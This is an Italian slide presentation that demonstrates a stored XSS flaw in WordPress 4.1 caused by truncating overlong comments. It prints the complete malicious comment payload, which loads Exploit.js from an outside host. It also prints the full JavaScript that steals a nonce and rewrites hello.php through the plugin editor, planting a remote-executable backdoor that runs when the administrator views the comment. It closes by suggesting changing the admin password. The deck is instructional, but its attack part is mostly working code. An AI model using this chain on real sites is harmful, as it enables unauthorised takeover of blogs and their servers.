Hacking in Action - 1

Introduzione di una backdoor

in un blog WordPress 4.1

VULNERABILITÀ in WordPress 4.1

La versione 4.1 di WordPress contiene una grave vulnerabilità di tipo Storage XSS

◦ XSS: Cross Site Scripting

Esecuzione di uno script (per es. Javascript) sul computer del visitatore per il tramite di un sito “pulito”

◦ Stored XSS

Lo script maligno viene in qualche modo incorporato nel sito stesso

VULNERABILITÀ in WordPress 4.1

La dimensione massima di un commento a un post è pari a 64kB

Se un commento è più lungo, viene troncato prima di essere memorizzato nel database

Se il commento è scritto in HTML, l’operazione di troncamento porta alla creazione di una stringa HTML non corretta.

È possibile in questo modo far sì che ad ogni visualizzazione del commento venga eseguito dal client uno script maligno.

VULNERABILITÀ in WordPress 4.1

Il commento maligno:

<a title='xxx onmouseover=eval(unescape(/var%20a%3Ddocument.createElement%28%27script%27%29%3Ba.setAttribute%28%27src%27%2C%27http%3A%2F%2Fsitomaligno.altervista.org%2FExploit.js%27%29%3Bdocument.head.appendChild%28a%29/.source)) style=position:absolute;left:0;top:0;width:5000px;height:5000px AAAAAAAAAAAA [Almeno 65000 caratteri] AAAAAAAAAAAAAAA'></a>

VULNERABILITÀ in WordPress 4.1

Lo script risultante

var a.document.createElement(‘script’);

a.setAttribute(‘src’,

’http://sitomaligno.altervista.org/Exploit.js’);

document.head.appendChild(a)

Viene aggiunto nella sezione head della pagina Wordpress un riferimento ◦ sitomaligno.altervista.org

◦ Exploit.js

VULNERABILITÀ in WordPress 4.1

Quando viene eseguito lo script? ◦ Quando il mouse ci finisce sopra.

◦ Sembra un po’ difficile…

Rendiamo il link un po’ più grosso

position:absolute;

left:0;

top:0;

width:5000px;

height:5000px

Occupa tutto lo schermo!

Vediamola in azione

Usiamo uno script semplice e innocuo: ◦ window.alert(“Eccomi”);

Guarda su YouTube

Quando lo script viene eseguito dall’amministratore del blog, possiede tutti i privilegi di accesso ai file e di esecuzione delle operazioni amministrative!

Inserimento di una backdoor

Proviamo una cosa meno innocua ◦ Carichiamo un file sul server che gestisce il blog

Ogni installazione di WordPress contiene un file di prova ◦ hello.php

◦ Contiene semplicemente il testo della canzone Hello Dolly

◦ Sostanzialmente è un plugin dimostrativo

Sostituiamo questo file con uno script prodotto da noi e potenzialmente maligno ◦ <?php echo 'Il sito maligno ha colpito!'; ?>

◦ Potremo eseguire questo script da remoto!

Inserimento di una backdoor

Come facciamo? ◦ Modifichiamo il file Exploit.js

Mandiamo una richiesta POST all’editor dei plugin di WordPress, ordinandogli di aggiornare il file hello.php ◦ In pratica lo sostituiamo con il nostro script maligno

◦ Diventa la nostra backdoor

Problema ◦ Wordpress genera un codice, detto NONCE, inserito in

ogni form del blog

◦ Il server web convalida solo le richieste POST che contengono un NONCE valido

◦ In linea di massima ad ogni richiesta di pagina viene generato un NONCE diverso

Inserimento di una backdoor

Come otteniamo un NONCE valido per la nostra richiesta POST? ◦ Inviamo al blog una richiesta GET di visualizzazione

del file hello.php La risposta alla richiesta GET conterrà un form per la modifica

del file stesso

Questo form conterrà un NONCE valido

Il NONCE valido verrà inserito in una richiesta POST per l’aggiornamento del file hello.php ◦ Wordpress riconoscerà il NONCE appena generato e

autorizzerà l’aggiornamento del file

Tutto questo si svolge quando l’amministratore visualizza il nostro commento maligno

Inserimento di una backdoor Ecco lo script - Parte 1

// Funzione che effettua una richiesta GET HTTPS

function httpGet(theUrl)

{

var xmlHttp = new XMLHttpRequest();

xmlHttp.open( "GET", theUrl, false );

xmlHttp.setRequestHeader("HTTPS","1");

xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

xmlHttp.send( null );

return xmlHttp.responseText;

}

// Funzione che effettua una richiesta POST HTTPS

function httpPost(theUrl,theParameters)

{

var xmlHttp = new XMLHttpRequest();

xmlHttp.open( "POST", theUrl, false );

xmlHttp.setRequestHeader("HTTPS","1");

xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

xmlHttp.send( theParameters );

return xmlHttp.responseText;

}

Inserimento di una backdoor Ecco lo script - Parte 2

// Richiesta del file hello.php (sempre presente nelle installazioni WordPress)

var hello = httpGet("http://wordpress.promomaremma.net/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php");

// Ricerca di un nonce valido

var nonce_pos = hello.indexOf(unescape("name%3D%22%5Fwpnonce%22%20value%3D%22"));

var nonce = hello.substr(nonce_pos+23,10);

// Costruzione dei parametri della richiesta POST con il nonce appena ottenuto

// Costruzione dei parametri della richiesta POST con il nonce appena ottenuto

var parameters = "_wpnonce=" + nonce + "&_wp_http_referer=" + escape("/wp-admin/plugin-editor.php") + "&newcontent= " + escape("<?php echo 'Il sito maligno ha colpito!'; ?>") + "&action=update&file=hello.php&plugin=hello.php&scrollto=0&doc-list=&submit=Aggiorna+file";

// Modifica del file hello.php con il contenuto maligno

httpPost("http://wordpress.promomaremma.net/wp-admin/plugin-editor.php",parameters);

Vediamola in azione

Notare come tutto venga eseguito dall’amministratore a sua insaputo ◦ Diversamente non funzionerebbe

Guarda su YouTube

Questa falla di sicurezza è stata scoperta nella versione 3.9.3 di Wordpress

È stata corretta a partire dalla versione 4.2.1 ◦ In realtà le versioni superiori alle 4.1.2 non sono risultate

vulnerabili, ma la 4.2 sì.

Per il nostro test abbiamo utilizzato la versione 4.1

Ulteriori sviluppi

La backdoor può essere eseguita sul

momento

◦ Si esegue subito una GET sul file hello.php

appena modificato

In questo modo si può operare sul blog

come si vuole

◦ Per esempio cambiando la password di

amministratore